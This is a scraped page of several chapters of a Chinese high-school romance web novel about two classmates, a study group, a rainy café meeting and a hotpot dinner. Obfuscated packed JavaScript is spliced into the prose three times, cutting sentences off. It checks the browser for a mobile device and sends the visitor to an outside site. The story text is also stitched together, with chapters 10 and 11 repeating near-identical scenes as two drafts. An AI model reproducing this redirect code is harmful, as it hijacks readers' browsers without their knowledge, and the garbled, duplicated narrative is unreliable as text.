第二责任人是辛晓梅,她爽约在先,小姑娘送RIO在后,酒精只会麻痹想要逃避现实的人。 还有校园网上的那群看客,是他们近乎疯狂的好奇,才把舆论引导成这个样子…… 她长久地埋着脑袋,只希望周凛看在这是公共场合的份上,劈头盖脸的骂声小一点。 结果就听见他沉沉地叹了口气:“算了,我不追究了。” 林时稔觉得脑子里一堆乱线,刚刚不还上升到了围观者和小六子的高度,怎么突然就轻拿轻放了,她眨眨眼,不敢相信自己的耳朵:“真的吗?” 周凛虽然觉得也挺荒唐的,但女孩的心思又有谁能猜透呢,他本着理解和尊重的想法,给她吃定心丸:“嗯,翻篇儿。” 一场闹剧就这样悄无声息地化解。 林时稔虽然觉得自己本来就应该被赦免,但这话时不敢说的,她想了想,从书包里掏出便签本,笔端在上面轻轻移动。 “这个给你。” 周凛敛了敛眼睑,一张小卡片被女孩细白的手指推过来,三厘米见方的大小,还是粉色的。 上面写了三个字:好人卡。 …… 两人从咖啡店里出来的时候,天已经彻底黑透了。 林时稔跟他道别就要往地铁站走,书包被人从后面扯回来,转身就看见周凛在软件上叫车。 屏幕的光照在他脸上,他抬了抬眼:“太晚了,我送你。” 林时稔反应了三秒才明白他的意思,不由得在心里脑补,难道一张好人卡就把他精准普渡了?不过想到还要跟他独处,内心还是抗拒的。 “不用了吧。” 周凛似笑非笑地看着她:“怎么了,怕我?” “南岗街四十号水星园小区。”林时稔秒报地址,好像慢一秒,都是对好人卡的不尊重。 网约车没什么耽搁地来,周凛也比想象中更有边界感,她坐在后座,他就拉开了副驾驶的车门,两人一路无言。 到了家楼下,林时稔推开车门,绕到副驾驶的位置,从降下的车窗里跟他摆了摆手,细声说:“我到家了,今天谢谢你。” 她看起来很累,眼底带着水光,双手无意识地捏紧书包带,周凛手肘搭在车窗上:“进去吧。” 最后看着她进了单元门,才让司机开车。 周凛的作息向来规律,洗澡、吃饭、逗猫、写作业、睡觉,他平时不太熬夜,这样才能保证第二天的精力。 所以当失眠来袭的时候,他感觉还挺新鲜的,就跟那个人一样。 脑子里不由自主地掠过张白净乖巧的脸,她紧张的时候,双颊微微泛红,像一颗带着绒毛的水蜜桃。 明明是个脸盲,记她的样子倒是挺清楚的。 不知道是不是天气闷热,他的呼吸突然就重了,看了眼自己身下,再掀开被子,又进了浴室。 花洒下,他叹气:都怪那张该死的好人卡。 10.伪装 周凛说这事儿翻篇的当晚,学校的管理员就置顶了论坛规则的帖子。 没有提及这次事件,但雷厉风行地处理了几条陈年旧帖,重点强调了学校要严查私下拉小群造谣污蔑的行为,一时间讨论最凶的那小撮人人人自危,不少人光速退群,就怕这把火烧到自己头上。 舆论终于算是止住了。 周二早上进教室的时候,周凛已经在座位上了。 林时稔往过道走的时候,他掩唇咳嗽了两声,整个人的状态挺颓的,看起来像个病弱少年,扫到桌面上的一盒感冒药,她的心里还是不由自主地产生了波澜。 流言蜚语还是影响了他,要不然谁会在三伏天感冒呢? 停顿过长的目光引起了周凛的注意,两个人的视线就是这时候交汇的,不知道是不是林时稔的错觉,他的眼睛里似乎带着点怨怼的情绪,她不太自然地把碎发绾到耳后,垂头进座位。 接下来的几天里,林时稔过得挺崩溃的。 原以为第一轮复习可以更好地梳理知识点,没想到连高一最基础的函数定义域都忘了,她甚至怀疑这两年到底学了什么,不由得陷入无限的自我怀疑。 陈默也挺生气的,手里的粉笔断成三截,表情像是看一群逆子逆女:“牛顿三定律都忘了!加速度公式也写错,你们是熊瞎子掰苞米,学完一章扔一章吗?过几天月考,我倒要看看你们的真实水平,就现在这种状态,别说985了,你们连本科都考不上……” 像是还不解气似的,他手里的粉笔嗖嗖嗖地扔到后排几颗脑袋上:“给我坐直了,再让我再看见有人上课打哈欠,我就用牙签把他眼皮支起来。” 教室里一片安静,林时稔偷偷捏了捏大腿,像是为了证明自己并不需要牙签,两只眼睛瞪得很大。 一个人怎么能这么好笑呢? 周凛被她杏眼灿灿的金鱼表情逗乐了,见多识广如他,也算是第一次打开了潘多拉的盒子。 短短半个月的时间,他好像见证了她的很多面,嫌弃的、闪躲的、胆小的、说反话的、装坚强的……每一面都让他好奇,原来这些面会是一个女生暗恋的表现。 他的指尖还转着笔,或许是因为分神,笔杆“啪嗒”一声落桌上,这个声响格外清晰,陈默往他的方向看一眼,最后没说什么,继续讲题。 双标! 测试满分了不起吗?! 林时稔皱着鼻子腹诽,学霸果然是被偏爱的。 下课的时候,陈默又苦口婆心地提醒他们:“从今天开始,过一天少一天,努力不是秀给任何人看,是为了配得上自己的梦想。” 他走了,董蕊整个人也跟只被扎蔫的气球似的:“我现在还配有梦想吗?” 校园广播通知周末有台风登录,高三停课两天。 教室里突然热闹起来,后座的两个男生不玩猜化学元素的游戏了,开始讨论热带气旋生成的条件:“西太平洋的台风是不是太多了?” “今年海水温度始终高于26度,东风波给热带气旋提供了动力……” “有没有可能让它拐到日本去?” “行啊,只要749局出马就行了。” 某一刻,这两人让林时稔想到小时候养的那对鹌鹑,叽叽喳喳叫个不停,还都是人类听不懂的。 董蕊这会儿也心烦,看看她,垮着一张脸:“怎么办呀,我不适合放假,我一放假就想摆烂,怎么也自律不起来……” 林时稔也不想在家呆着,她最近一直跟辛晓梅玩一二三木头人的游戏,好像谁先服软就输了。 想了想,她主动提议道:“要不然我们俩去市图书馆自习吧?” “要是下暴雨的话,图书馆肯定也得关呀。” 正说着,董蕊撑起脑袋,眼睛一亮:“对了,我们可以找个咖啡厅自习,顺便把周凛和宋辞都叫上,既然组建了学习小组,总得发挥点作用吧。” 或许是这个提议以太过随意的语气出现,林时稔迟钝了两三秒,之后就看见董蕊偷偷摸出手机,效率很高地打字,想拦都来不及。 没人知道她和周凛之间尴尬的关系,她只能在短暂的空隙中支支吾吾地说:“要不,还是算了吧,万一暴雨天,他们不敢出门呢?” 董蕊没听出她话里的深意,口随心动:“两个一米九的男生,下再大的雨也淹不死吧?” 林时稔还没想好新的借口,她的一句话,彻底断了她的念想:“他们同意了。” 当天晚上,她的好友申请那栏,就多了一条消息。 是周凛。 他之前的通情达理超乎想象,又是学习小组的成员,自己脑袋上还戴着“暗恋者”的帽子,这种情况下根本没法拒绝这条申请。 但要说彻底打开心扉认定他是个好人,林时稔又做不到。 最后只能故意拖延,临睡前才通过他的好友验证。 …… “你该不会还把我和你爸当成自己的退路吧,我好心提醒你,往前的路已经铺好了,那就是考上重点大学,其余的什么也别想,那不是你应该关心的事情。” 辛晓梅的话落下,天边一声滚雷。 林时稔站在玄关穿鞋,不看她,不回应,置若罔闻地按下门拉手,半秒后,大门“咔哒”一声合上。 有的离婚是“池水浅,鱼相伤”,有的离婚是“海太大,干脆游不见了”,他们想离开就离开,做的所有选择都是如此轻而易举。 确实,没有不好的分开。 只有她成了唯一的沉没成本。 楼下,董蕊家的黑色大众在等她。 林时稔上车时,她还递过来一份三明治,说是她妈妈亲手做的,董爸爸回头问咖啡店在哪儿,董蕊直接用他手机输地址,再把手机夹在支架上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296867|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林时稔倚着窗口,隔着斑驳水迹的玻璃,她看见辛晓梅正在往下看,车子启动后,她又朝楼上看了一次,那里已经没人了。 正当她失神的时候,董蕊用胳膊肘轻轻碰她,给了她一个眼神暗示,她从口袋里摸出手机,屏幕上有条新消息。 董蕊:「我没跟我爸说学习小组里还有男生,车上说话注意点,别穿帮」 林时稔是个i人,又不擅长撒谎,为了让自己少说话,她选择用三明治堵住自己的嘴。 …… 咖啡厅是宋辞选的,在枫林路上,店面很大,铁艺装修,红砖墙壁上挂了不少文艺复兴时期的油画,艺术感很强。 老板很应景儿,扎了个艺术家的小辫,看见她俩挺热情:“宋辞挺会交朋友,全都是俊男美女,你们这个学习小组是卡颜局吗?我能不能参加?” 这话林时稔不知道怎么接,幸好董蕊嘴皮子厉害,出了学校就跟呛口小辣椒似的:“没问题呀,你先算算这道题。一辆质量为M的玩具小车放在光滑的水平桌面上,上面落了只质量为m的苍蝇,现在用一个水平力F推这只苍蝇……” 老板打断她,弱弱地问:“苍蝇为什么不飞呢?” 董蕊给了他一个“你就是块朽木”的表情,林时稔把唇抿得紧紧的,就怕自己失礼笑出声来。 位置在窗边,周凛和宋辞已经到了,按照董蕊的吩咐,咖啡十分钟前就点好了,无糖版冰美式,主打一个提神。 林时稔和董蕊在他们对面并排坐好,除了周凛之外,他们三个都有薄弱的科目,讨论了十分钟后,大家决定利用有限时间做偏科那门的作业,然后再拿着错题找擅长的人补习。 窗外的雨势连绵不断,空气中流淌着爵士乐,林时稔接连被两道多选题难住,整个人有些心浮气躁,她鬼使神差地看向对面。 周凛带着一副耳机,注意力全在试卷上,喉结随着呼吸微微翁动,手肘和桌步发出摩擦的窸窣声,握笔的指骨上带着薄薄的茧。 他真的是所有青春期女生的白月光,要不是心里有人了,她怀疑自己也会沦陷。这么想着,又扫了眼他的试卷,图形的复杂程度林时稔没见过,根本就不是他们的作业。 他的感冒好像还没有完全痊愈,长久的安静氛围里,偶尔咳嗽了几声。 等等! 如果周凛连作业都不用写,那么他带病加入这个学习小组的意义是什么? 林时稔也没打算让他讲题,她既然假装是个暗恋者,那就得装得走心一点儿,想触摸又不敢靠近才是最好的保护色。 这么想着,一抬头,刚好跟他撞上视线。 “哪题不会?”周凛轻轻掀起眼皮。 林时稔没反应过来:“啊?” 他唇角淡淡起翘:“这样吧,公平一点,我给你讲题,你教我那个绝杀的拒绝别人的方法……” 11.缘分 连续捡了两天树叶后,林时稔终于忍无可忍,放学后第一时间就霸占拖布,死活都不撒手。 可宋辞和厉鹏飞这对卧龙凤雏明显技高一筹,他们把扫把留给周凛,然后好基友手牵手,开开心心地去操场捡树叶了。 终于熬过三天值日,周五迎来一个好消息。 校园广播通知周末有台风登录,全校停课两天,整个校园都沸腾了。 男生们兴奋得不行:“今年西太平洋的台风是不是太多了?” “海水温度始终高于26度,东风波给热带气旋提供了动力……” “虽然我很感激台风让我们放假,但我很担心沿海地区的渔民,所以,有没有可能让台风拐到日本去?” “行啊,只要749局出马就行了。” 某一刻,这些人让林时稔想到小时候养的几只鹌鹑,叽叽喳喳叫个不停,还都是人类听不懂的。 董蕊这会儿也兴奋,但又想到什么,随即垮着一张脸:“好矛盾呀,我喜欢放假,但我一放假就会摆烂……稔稔,要不我们去图书馆自习吧?” 林时稔笑着提醒她:“要是下暴雨的话,图书馆肯定也会关呀。” 教室很热闹,理书声和桌椅碰撞声淹没她们的对话,董蕊撑着腮看过去。 林时稔是那种耐看型的长相,眉眼间有股天然的无害感,性格看似清冷寡淡,越品越有种不自知的清纯呆萌,每次羞涩脸红的时候,都让人更想逗她。 “稔稔,我要是男生,一定疯狂追你。” 她的表情有点夸张,碰巧被发物理作业的沈序清看,他嘴角含笑地看着她:“多狂?” 林时稔哪敢跟他对视,她假装咳嗽了两下,打断这个话题。 董蕊从没骨头地歪着,到直起腰来,整个人霸总上身,“你这个磨人的小东西,我该拿你怎么办?” “这一千万花不完,今晚不准回家。” “三分钟,我要知道情敌的全部资料。” 林时稔这回变成真咳嗽了,耳根一阵发烫,拼命捂她的嘴。 沈序清笑容促狭:“天亮了,董氏破产了。” 周遭的谈话声远远近近,聊什么的都有,他的声音好像从喧嚣中独独分离出来,似折玉般好听。 林时稔骤然心悸,鼓足勇气想要接话,却听见许意荞在前门喊他的名字,他没有任何耽搁地过去了,她眸底有些失望。 董蕊什么都没察觉,突然来了精神,调子都变得雀跃了:“对了,我们可以找个地方自习,顺便把周凛和宋辞都叫上,既然组建了学习小组,总得发挥点作用吧。” 或许是这个提议以太过随意的语气出现,林时稔迟钝了两三秒,之后就看见董蕊偷偷摸出手机,效率很高地打字摇人,想拦都来不及。 没人知道她和周凛之间尴尬的关系,她只能在短暂的空隙中支支吾吾地说:“要不,还是算了吧,万一暴雨天,他们不敢出门呢?” 董蕊没听出她话里的退缩,口随心动:“两个一米九的男生,下再大的雨也淹不死吧?” …… “怎么没有淹死的?” 辛晓梅的话落下,天边一声滚雷。 她对着手机那头的人,苦口婆心地劝:“天气这么不好,还出去听什么讲座?就为了那两斤鸡蛋,命都不要了?”边说,眼神时不时地往门口瞟。 这话多少带着点内涵,但林时稔充耳不闻,继续站在玄关穿鞋,半秒后,大门“咔哒”一声合上。 台风过境,夜里的小雨终于在凌晨酿成瓢泼的暴雨,伞面上覆盖着雨声,她从楼道里走出来。 网约车打着双闪等在路边。 司机从后视镜里看她收伞上车,挺惊讶的:“下暴雨还出门呀?” “嗯。” “下雨天不要到处乱跑,家长会着急的。” 林时稔倚着窗口,隔着斑驳水迹的玻璃,她看见辛晓梅正在往下看,车子拐出小区前,她又朝楼上看了一次,那里已经没人了。 那时候,突然萌生退意。 心里有道声音告诉她,回去吧,辛晓梅还是关心你的,就算去偶遇了又能怎么样呢?只不过是推着石头上山的弗弗西里。 正当她失神的时候,手机弹出新的提示音。 董蕊:「稔稔,你今天真的不来了吗?」 董蕊:「我没告诉我爸是跟两个男生组的学习小组,记得帮我打掩护」 董蕊:「宋辞说一会儿带我们去个好地方,等到了我给你发定位,你事情忙完了就过来」 林时稔没立刻回她消息,快下车的时候,她打字:「我估计要忙到很晚,你们不用等我了」 暴雨如注,整个城市布满雨痕。 「雾屿白」在枫林路上,店面很大,铁艺装修,红砖墙壁上挂了不少文艺复兴时期的油画,还有很多品种的猫咪。 林时稔在门口收伞,水迹顺着伞尖落地,在地上形成一个小水洼,她把伞放进置物架里。 老板的造型也很应景儿,扎了个艺术家的小辫,挺热情的:“这种天能出门的,全都是战士。” 等咖啡的时候,林时稔从从包里拿住猫条,几只大胆的小猫跑过来,她苦笑着叹气。 这世上哪有什么偶遇,真正的缘分又哪需要这样,那一瞬突然想放弃了。 店内有三四桌客人,咖啡机运转和着沙沙的雨声,隐约听见有人喊她的名字,林时稔不敢回头,她怕自己拙劣的演技被人一眼看穿。 脚步声越来越近,心跳也越来越快,还没做好心理准备,肩膀突然被人拍了一下 她别头看过去。 深思缥缈,浮浮沉沉,视线很快定在一张脸上。 周凛看见她也是一愣,不过他很快僵脸上的惊讶收拢起来,走到她面前:“你怎么在这儿?” 如果小行星撞地球有一个时间点,林时稔希望是现在。 她刚想硬着头皮解释一下,自己是路过的,就见董蕊循声探头,整个人朝她扑过来:“稔稔,你怎么也在这里,好巧。” 董蕊脱了校服,换上一身甜酷风的穿搭,抱着林时稔的胳膊晃了晃:“我就知道你舍不得我……” 宋辞点了咖啡过来之后,也愣住了:“组长?” 从那天值日之后,他就一直这么叫她,林时稔连反驳的力气都没有,硬挤出一抹笑:“嗨。” 他不知道看出了什么门道儿,眼神很内涵:“你看看,这就是缘分。” 林时稔欲哭无泪,为什么正缘偶遇不成,孽缘倒是风雨不误地送上门来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308867|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲了半天,最后还是撞到枪口上。 反倒是周凛,完全无视宋辞的存在,带着一副耳机,注意力全在练习册上,胸口随着呼吸微微起伏,手肘和桌步发出摩擦的窸窣声,握笔的指骨上带着薄薄的茧。 咖啡很快送来了,两杯卡布奇诺,两杯冰美式,这里就体现出了宋辞的铁汉柔情了,给女生点的咖啡都是热的。 老板为了表达谢意,还赠送了一份伯爵茶脆,周凛和宋辞不吃甜食,林时稔和董蕊就约着一起去卫生间洗手。 她们的背影一离开视线,宋辞就拖着椅子凑过来,别有深意地说:“我原以为,这个世界上和你灵魂契合的那个人,你很难遇到……” 周凛抬头看他。 “因为你们在不爱出门这件事上也高度默契。” 周凛是真的不爱出门,他为了让周凛陪他出来自习,就差表演一哭二闹三上吊。想到这里,宋辞开始爆笑:“偏偏组长也不爱出门,然后你们还相遇了,你说是不是天打雷劈的缘分。” 因为是学习小组的第一次活动,大家还处于磨合阶段,讨论了十分钟后,大家决定利用有限时间做偏科那门的作业,然后再拿着错题找擅长的人补习。 林时稔一直自己闷头做题,遇到不会的就标记好,周凛话不多,偶尔帮董蕊和宋辞解答一下问题,大部分时间都在看自己的书。 宋辞写了一套题之后,身上恶劣分子又蠢蠢欲动,他笑嘻嘻地敲了敲桌面:“我们是不是应该换换位置?” 林时稔眨了眨眼,还没接话,董蕊就嫌弃地说:“我才不想挨着你。” 宋辞都被气笑了,怪声道:“你以为我想挨着你?没看见组长一直没机会问题吗?” 他这么一开口,所有人都停下动作看她,林时稔正往嘴里放伯爵茶脆,这会儿吃也不是,吐也不是。 半晌,她咽了咽嗓:“没事儿,我可以用作业帮。” 宋辞朝她抬了抬下巴:“解题过程固然重要,但关键还是思路,我们有国家队在这儿,不用白不用。” 这个提议细听下来逻辑无懈可击,但是从宋辞嘴里出来,那就是唯恐天下不乱。 不待周凛提醒,董蕊就愧疚感爆棚,她主动走过去,跟他换了位置。 林时稔心口起伏一下,闭眼揉眉。 不用,真的不用。 窗外的雨势连绵不断,空气中流淌着爵士乐,接连被两道多选题难住,整个人有些心浮气躁,她鬼使神差地用余光扫身旁的人。 还是没打算让他讲题。 既然假装是个暗恋者,那就得装得走心一点儿,想触摸又不敢靠近才是最好的保护色。 这么想着,一抬头,刚好跟他撞上视线。 “哪题不会?”周凛轻轻掀起眼皮。 林时稔没反应过来:“啊?” “别动!” 他黝黑的瞳孔瞬间有细微变化,很慢地凑过来,领口因为动作而倾斜,凹凸有致的锁骨中间,精致的喉结上下翁动。 太近的男性气息让她惴惴不安,骨节分明的手指顺着耳际到脸颊,眼看就要碰到她的皮肤了,林时稔瞪大眼睛,条件反射般挥手。 "啪!"寂静的空气里传来响彻人心的一声。 她给了周凛一巴掌。 12.火锅 巴掌声响彻空气,不少人同时抬头。 周凛完全没有心理准备,也被打懵了,他偏过头,垂眸看了看打自己的那只手。五指细细白白的,指缘修得很干净,掌心微微发红,再往上是一截纤白的手腕。 人挺瘦的,力气却不小。 他撩起眼皮,视线移到打他巴掌的姑娘身上,表情阴晴难辨。 林时稔没在他脸上看到心慌,自己倒是先慌了:“就是,你先那样,我才这样的……” 那会儿周围的耳朵全竖着,周凛坦然和她相望,手肘搭在扶手上,问题单刀直入:“我哪样了?” 这场景熟悉得想要让人想退缩,开学第一天在便利店偶遇那次,他也是同样游刃有余地在她面前买了一盒杰士邦,然后打车去了酒店。 这人不知道什么是羞耻心吗? 林时稔很生气,嗓音带着不自觉的谴责:“你的手快要碰到我的脸了……”她很想报警,不知道咖啡厅的监控有没有拍到刚刚的画面。 周凛凉凉地看着她:“你脸上落了只蚊子。” 蚊子? 林时稔大脑宕机了几秒,接着看向对面两个目击证人,宋辞憋笑憋得身体一颤一颤的,董蕊朝她使眼色,指她脸颊的位置。 被指的地方这次后知后觉地痒,场面陷入一种突如其来又无法言说的安静对峙。 “能给我平反了吗?”低冷的男生缓缓在她耳边绕。 宋辞简直叹为观止,他开始回忆周凛从小到大被打的情形,最后发现根本就没有过,更微妙的是他的反应,被人打了巴掌都没生气。 林时稔面上一热:“不好意思,是我误会了,但是你抓蚊子怎么不早说?” 周凛觉得她自欺欺人的样子有点可爱,突然就笑了,“我发现,你对我误会挺深的,这次是,上次也是。” 宋辞和董蕊对视一眼,八卦欲油然而起。 林时稔被他笑得胆边瑟瑟,上次只是匿名骂她,就被迫写下认罪书,这次是公开打他,后果简直不敢想。 打他的手心这会儿也觉得疼了,她的声音细弱蚊蝇,有央求的味道:“力是相互作用的,你疼我也疼,但是如果你真的过不去,我可以给你打回来,不要太用力就行,回家里我妈妈会看到,她性格不太好……” 这是把能想到的物理知识和来自母亲的威胁全都用上了。 董蕊扬起好笑的音调:“你又不是故意的,周凛怎么可能打女生?” 林时稔不知道怎么跟她解释才好,董蕊没见过他跟女生开房,一直被他的学霸滤镜迷惑,以为他是个很正派的人,但他根本不是。 她视线一直不敢往他那看,周凛全都看在眼里,一句话说得棉里藏刀:“看来我在外面风评确实不太好。” 林时稔没话讲了。 彼时台风过境,雨势转小,几人的咖啡都已见底,宋辞提议道:“算了,晚上一起吃饭吧,餐桌上什么恩怨都能解决。” 讨论了半天,最后决定吃火锅。 结账的时候,周凛站在收银台买单。 少年的身形清瘦挺拔,安静又专注地往屏幕上输密码,落拓的灯光打在他的肩身上,他半垂视线,睫毛很长,利落短发下的眼眸看不分明。 林时稔看了一眼偷偷看他的收银员小姐姐,内心忍不住吐槽,这幅皮囊确实有欺骗性。 店内响起到账的声音,收银员愣了几秒才反应过来,脸红红地把小票给他,周凛没接,只道了谢。 不拿小票,也是一个坏习惯,应该狗头铡伺候。 或许是她嫌弃的目光太过灼热,周凛有所察觉地看过来,她迅速移开视线。 雨丝飘着,导航上显示网约车还有三分钟的行程,两个男生都没打伞,林时稔和董蕊共打一把,她生无可恋地看着远处发呆。 一声车鸣,车轮溅起的水花在他们身前一米的位置停下,缓缓降下的车窗里,她听见女生的爆嗓:“宋辞,你敢跟我玩失踪?” 微怔,看到同样满脸疑惑的董蕊。 宋辞的反应很大,他脱口而出一句以C开头的脏话后,特敏感地问周凛:“她怎么知道我在这?” 女人抱着臂下车,齐耳短发,带着太阳镜,一身剪裁得体的套装,很有巨星范儿,开口前先给了他胸口一拳:“电话不接微信不回,你想造反吗?我告诉你,我之所以是你姐,就是你不管跑到哪里,都逃不出我的五指山。” 宋辞的气势瞬间弱了:“我这不是学习太投入,忘看手机了吗?” “这么投入还有时间登录王者呢?” 宋辞没声了。 女人教训完不听话的弟弟,拉下太阳镜,视线飘向看热闹的几人,眉毛抬了一下。 周凛很上道地主动打招呼:“诗姐。” 唐诗勾了勾唇角:“自习上完了吗?现在要去哪儿?” 周凛还没回答,宋辞绕过所有人,用胳膊肘别着她:“姐,我们要去吃饭,你看,车马上就到了。” “吃什么饭?带我一个呗,我给你们当司机。” “你去干嘛?你跟我同学又不熟。” “吃完饭不就熟了吗?” 唐诗推开他,上前一步挤进伞内,手臂自然地勾住两个女生:“小美女们,欢迎我吗?” …… 林时稔不知道自己怎么就跟着三个几乎不熟的人一起来火锅店了,尤其董蕊中途还被他爸爸喊回家了。 或许是辛晓梅始终没有给她打电话,亦或是唐诗实在是热情到让她无法拒绝,总是,是稀里糊涂坐下的时候,宋辞已经咋咋呼呼地调蘸料了。 火锅店人气还挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“行行行,不说了。”宋辞落招儿似地伸手投降。 唐诗看戏看得津津有味的:“别呀,继续说,成年后我已经好久没有看过纯爱故事了。” “姐,你也太双标了。” 宋辞不干了,他拖着不屑的音,把桌子拍得震天响:“周凛是纯爱,我就是色情狂?” “你还好意思说?你买杰士邦干什么?”唐诗劈手过去,被他躲开了。 他们聊天话题的尺度也太大了,林时稔有些惊到了,不知道该怎么反应。她是讨好型性格的人,朋友维系多靠压抑自我需求,时间久了委屈多了,就不愿意跟人走得太近。 她是真真没见过这种场面。 宋辞用手指周凛:“我被你害惨了,你快跟我姐解释解释,那盒杰士邦到底是谁的?” 13.债主 宋辞那几天心情很糟糕,因为连续的高温,也因为准高三提前开学了。 分班日放学后,气温还是在三十三度以上,这种天气就应该在水里避暑,他回家拿了泳裤直奔洲际酒店的游泳池。 碰巧游泳馆当天有网红在拍摄视频,主角是一只柴犬,四五个穿着小礼服的女孩子围着它玩,它撒欢地往水里栽,“噗通”一声水花四散,溅了宋辞一身。 刚想骂,一个女生拨开人群跑过来跟他道歉。 女生头发又长又直,脸也清纯,五官特别像他喜欢的一个女团成员,宋辞要飙的脏话又咽了下去。 就这么有一搭没一搭地聊了一会儿,女生问他,团队拍完视频之后,可不可以帮她拍几张水下写真,他当然明白女生是在撩他,也很吃她的颜,于是一口答应下来。 唯一的问题就是,没带手机防水套,于是给自己的好兄弟打了求助电话。 就是这个电话坑了自己。 半小时后,周凛来了,不仅来了,还在众目睽睽之下把避孕套扔给他的时候,女生看他的眼神都变了,大骂他是流氓。 回家之后更惨,唐诗也知道了这事,立刻把他电脑里捷克街头搭讪视频全删了,一下课就定位他的行踪,搞得他每天不像是去上学,倒像是去约炮一样。 一个清清白白的男高就这么毁了。 回忆起那盒杰士邦引起的腥风血雨,他手里的饮料一撂,额前碎发因为动作过重而晃动,声音里还带着怨气:“你跟我姐说,那天我让你买的是不是防水套?” 周凛慢条斯理地捞起茶杯喝水:“是。” 宋辞双手一合,朝没人的方向拜了拜:“苍天有眼啊,终于让我的冤情大白于天下。” 他用手指叩响桌面,不依不饶地追问下去:“那你为什么买了盒杰士邦过来?” 听到这个问题,林时稔屏住呼吸,连后背都不自觉地绷紧了。 答案到底是什么?她又为什么紧张?脑子里一团乱线,如果这事儿另有隐情的话,那她岂不是一直冤枉好人了。 周凛笑得挺无辜的:“那个防水性能更好。” 也不知道是不是故意的,他的视线突然扫过来,眼角簇着内涵的光:“不然还能是什么?” 视线相撞的时候,林时稔的嗓子突然变得很干,她随手从桌面上拿起一罐饮料,仰头罐下去,以掩饰自己的不自然。放下易拉罐的时候,所有人的视线都目不转睛地盯着她,林时稔从他们默契的眼神中看出点别的元素来。 她有些心慌地问:“怎么了?” 周凛略抬了抬眉梢,嘴角微微抖动了一下,像是在忍:“你喝的,是我的……” 六个字连在一起,像一截双节棍打在她的脑仁上,嗡嗡作响。 林时稔:…… 这顿饭吃了快两个小时,四个人共消费三百九十二元,又是周凛买的单。 林时稔不想又占他便宜,偷偷从钱包里掏出一百块钱,对折成两指宽的大小,想要找机会塞给他。 唐诗从后面挎上来,见她心事重重的,故意换了个轻松的话题:“宋辞在学校有绯闻吗?” 林时稔诚实地摇了摇头。 虽然学校明令禁止,但绯闻根本藏不住,谁和谁官宣了,谁和谁分手了,八卦消息在暗地里传得声情并茂的,她确实没听过宋辞的。 “没用的家伙。”空气里响彻唐诗肆无忌惮的嘲笑声。 雨不知道什么时候停了,月光拨开云雾照下来。 唐诗边往停车场走边朝林时稔看,她将漏出的长发绾到耳后,脸颊上有一个小小的蚊子包,整个人又乖又纯。 “其实高中谈谈恋爱真挺好的,一起学习一起高考,多好的人生经历。” 爱情本来就没有早晚,他们不会因为太年轻而不懂什么是爱,只会因为太年轻不能好好地处理爱。 她看着前面两个高瘦的背影,突然来了红娘的兴致:“这俩小子是我看着长大的,人品还算不错,你要不要选一个?” 那语气不像是真心推荐,倒像是自家两头猪已经养肥,反正早晚都是死,不如找个顺眼的屠宰场杀一下算了。 林时稔还来不及脸热,唐诗又补了一句:“放心,两个都是处男。” 天啊,禁止跨物种乱点鸳鸯谱。 一股热气冲上头顶,林时稔整个人都要着火了,幸好有夜色做掩护,他们很快到了停车场。 “时稔,你家住哪?” “南岗街四十号水星园小区。” 唐诗设置好导航后启动车子,宋辞从后视镜里偷窥后座的动静,那两人离得老远,好像隔着一条银河系。林时稔老老实实地看窗外,眼睛半分都不敢乱瞟,周凛也比想象中更有边界感,一直低头刷手机。 马路上的车辆和行人都少了,路灯拉出浩荡的透视,几人偶尔说两句。 水星园是个三无的老小区,没有保安、没有物业,没有车位,林时稔住的那一栋,车子开进去就没办法掉头,她让唐诗把车停在小区外。 打开后车门,她绕到驾驶座的位置,弯身对唐诗道谢。 才一顿饭的时间,唐诗就对这个单纯的小姑娘很有好感,她降下车窗:“稔稔,下次我们再聚。” “好的,姐姐。” “真的不用我把车开进去吗?” “不用,没几米了。” 这时后座另一侧的车门“咔”一声打开,他们齐齐看过去,周凛利落地从后座下车,随后又听见车门“咔”一声合上,他说:“我送你进去。” 林时稔愣住了,手指无意识地捏紧裙边:“不用了吧。” 宋辞见状猛点头,立刻让唐诗给车熄火:“对对对,周凛务必把组长安全地送回家,我们在这等你。” 夜色滂沱,斜风细细,空气里带着雨后香樟树的味道。 周凛跟在她身后,两人绕过一片斑驳的健身器材,又走过了两栋居民楼,林时稔停下脚步。 短短三分钟的路程,像过了一个世纪。 她指着三米远的单元门,露出一个得体的表情:“我家到了。” 周凛“嗯”了一声,没再说什么。 刚要转身,林时稔突然想起什么,她把攥了一路的红色钞票递过去:“这个给你,今天吃饭我们AA。” 攥得太久,纸币都湿了,皱皱巴巴一小团,看起来有点寒酸。 女孩纤细白皙的手伸到他面前,眼底带着朦胧水光,周凛纳闷地瞧着她:“林时稔,我到底是哪里欺负过你,怎么老是可怜巴巴的样子?” 林时稔无言以为,站姿像个犯错的小孩,总不能把这么多天的心路历程剖析一遍,最后恭喜他不是渣男吧。 周凛十七年来顺风顺水,从来没遇到过这种难题,他叹一口气:“我不收现金,微信上转给我。” 她瞳孔清凌地看他:“可是,我没有你的好友……” 周凛挑她语病:“所以呢?” 